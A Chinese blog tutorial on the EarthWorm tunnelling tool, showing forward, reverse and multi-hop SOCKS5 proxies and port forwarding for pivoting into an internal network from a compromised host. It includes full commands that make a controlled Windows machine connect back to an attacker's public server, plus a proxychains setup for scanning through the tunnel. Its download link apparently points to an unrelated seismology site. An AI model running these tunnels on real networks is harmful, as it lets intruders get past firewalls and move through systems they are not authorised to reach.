内网穿透-EarthWorm

一、地址

http://folkworm.ceri.memphis.edu/ew-dist/ 最新版本:V7.10.1 2019.9.9

二、内外穿透和EarthWorm介绍

内网穿透是我们在进行网络连接时的一种术语,也叫做NAT穿透,即在计算机是局域网内的时候,外网与内网的计算机的节点进行连接时所需要的连接通信,有时候就会出现内网穿透不支的情况。内网穿透的功能就是,当我们在端口映射时设置时,内网穿透起到了地址转换的功能,也就是把公网的地址进行翻译,转成为一种私有的地址,然后再采用路由的方式ADSL的宽带路由器,具有一个动态或者是固定的公网IP,最后ADSL直接在交换机上,这样所有的电脑都可以共享上网。内网穿透除了可以实现内网之间机器的网络通信功通之外,还可以解决UDP中出现的数据传输不稳定问题。

EarthWorm,(简称EW)是一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能。相较于其他穿透工具,如reGeorg等, EarthWorm可以穿透更复杂的内网环境同时也不需要跳板机运行web服务,也可以支持多平台间的转接通讯,如Linux、Windows、MacOS、Arm-Linux等。

根据官方文档说明,EarthWorm能够以“正向连接”、“反向连接”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。

三、EarthWorm内网穿透

1)使用正向SOCKS v5服务器

当攻击者位于外网时,无法直接访问到目标网络内部的主机,但是可以访问到目标网络中对外提供服务的服务器,而恰巧这台机器也拥有内网IP地址,可以访问其他内网机器。

 

 

因此攻击者可以在跳板机上运行EarthWorm,执行以下命令,在1080端口上开启socks正向代理,在自己的攻击机上开启全局代理,代理到跳板机的1080端口,至此跳板机就可以将攻击者本地操作的流量转发到内网当中,从而访问到原先无法访问的内网机器,实现内网穿透。

./ew -s ssocksd -l 1080

  

2)反弹SOCKS v5 服务器

攻击者位于外网,且无法访问目标网络内部的主机,但是内部网络中存在一台对外网开放的服务器,而且可以访问到其他内网机器。

 

 

因此攻击者可以在内网跳板机上运行EarthWorm使其反向代理到某台公网服务器上,然后攻击者再通过外网连接到对外服务器进而进入到内网中。首先在一台具有公网ip的主机上运行以下命令,将1080端口收到的代理请求转发给内网跳板机的8888端口。

./ew -s rcsocks -l 1080 -e 8888

然后在内网跳板机上启动SOCKSv5服务,并反弹到公网主机的8888端口,执行以下命令:

./ew -s rssocks -d xxx.xxx.xxx.xxx -e 8888

  

3)多级连接

如果攻击者位于外网,无法访问目标网络内部的主机,但攻击者可以访问目标网络中对外暴露的跳板机1,同时还存在一台被控内网机器(跳板机2)可以访问到其他内网机器。

 

 

因此攻击者可以先连接内网跳板机

1,跳板机1再主动连接跳板机2,然后再连接其他内网机器。

首先在跳板机2上执行以下命令,利用ssocksd方式启动8888端口的socks代理:./ew -s ssocksd -l 8888;

然后再在跳板机1上执行以下命令将本机1080端口收到的socks代理请求转交给跳板机2:./ew -s lcx_tran -l 1080 -fxxx.xxx.xxx.xxx -g 8888;

 

除此之外,EarthWorm还提供了自带的三条端口转发指令,参数格式如下:

./ew -s lcx_listen -l 1080 -e 8888

./ew -s lcx_tran -l 1080 -f 2.2.2.2 -g 9999

./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.2 -g 9999

通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前。

 

4)EarthWorm内网穿透实战

在理解了内网穿透的原理以及EarthWorm的使用方法后,我们设计一个内网穿透场景并用EarthWorm实现。

场景模拟:假设我们现在已经拿到目标内网一台机器的权限(假设此机器类似于业务服务器,能够对外提供服务,部分端口映射至外网,我们通过漏洞成功getshell)。需要对内网做进一步的渗透,但此机器上并没装载任何内网渗透工具,现在我想要通过反向SOCKS5将我本地工具产生的流量代理进目标内网,所有靶机环境如下:

Kali Linux(攻击机,内网IP:192.168.210.38)

Ubuntu 4.4.0(攻击者控制的公网机器,公网IP:39.106.228.105)

Windows10(内网被控机,内网IP:192.168.20.35)

首先在攻击者控制的公网机器上上传EarthWorm,并执行以下命令:

./ew_for_linux -s -rcsocks -l 1080 -e 1024

让公网机器监听1080和1024端口,等待攻击者机器访问1080端口,内网机器反弹到1040端口。

 

 

然后在内网被控机上上传EarthWorm,运行如下命令:

ew_for_win_32.exe-s rssocks -d 39.106.228.105 -e 1024

让内网被控机使用反向代理的方式连接到公网的服务器上,并将流量统一转发到1040端口。

 

 

此时可以看到,公网服务器上提示:rssockscmd_socket OK!,证明已经成功与内网服务器建立了反向连接。

 

 

在攻击者本地的攻击机上,上传proxychains工具,修改配置文件,将socks5的目标地址填成公网服务器地址,端口也换成1080,这样攻击者就与公网服务器建立了socks5连接,并将流量统一转发到1080端口。

 

 

 

 

至此攻击者已经成功打通一条内网通道,攻击者可以在本地攻击机上使用任何支持socks5传输的工具,这些工具流量会经由攻击机->公网->内网机,比如内网服务器几乎不可能安装nmap工具,那么攻击者可以通过这种方法,将本地Nmap的流量转发到内网服务器中,实现内网渗透。但需要注意的是,并不是所有的工具都支持socks5代理。但总的来说还是方便不少。

 

 

5)总结

EarthWorm一共提供了六种链路状态,分别为三种可以提供socks代理功能的参数:ssocksd、rcsocks和rssocks,还有三种提供端口转发功能的参数:lcx_slave、lcx_tran和lcx_listen。在实际的渗透测试中遇到的场景可能极为复杂,多种分区与规则并存,防火墙可能无处不在,这样通过一个socks代理就很难打通一条穿透内网的线路了,更不用说访问整个内网了,这个时候就会需要位于不同网段,不同区域的节点相互配合,灵活运用正向连接、反向连接和多级连接绕过各种限制,像“蚯蚓”一样,努力在内网中“钻”出一条通路来,直达网络深处,才能最大程度的实现“内网穿透”。

 

posted @ 2021-10-18 18:30  弘心壮志  阅读(1885)  评论(0编辑  收藏  举报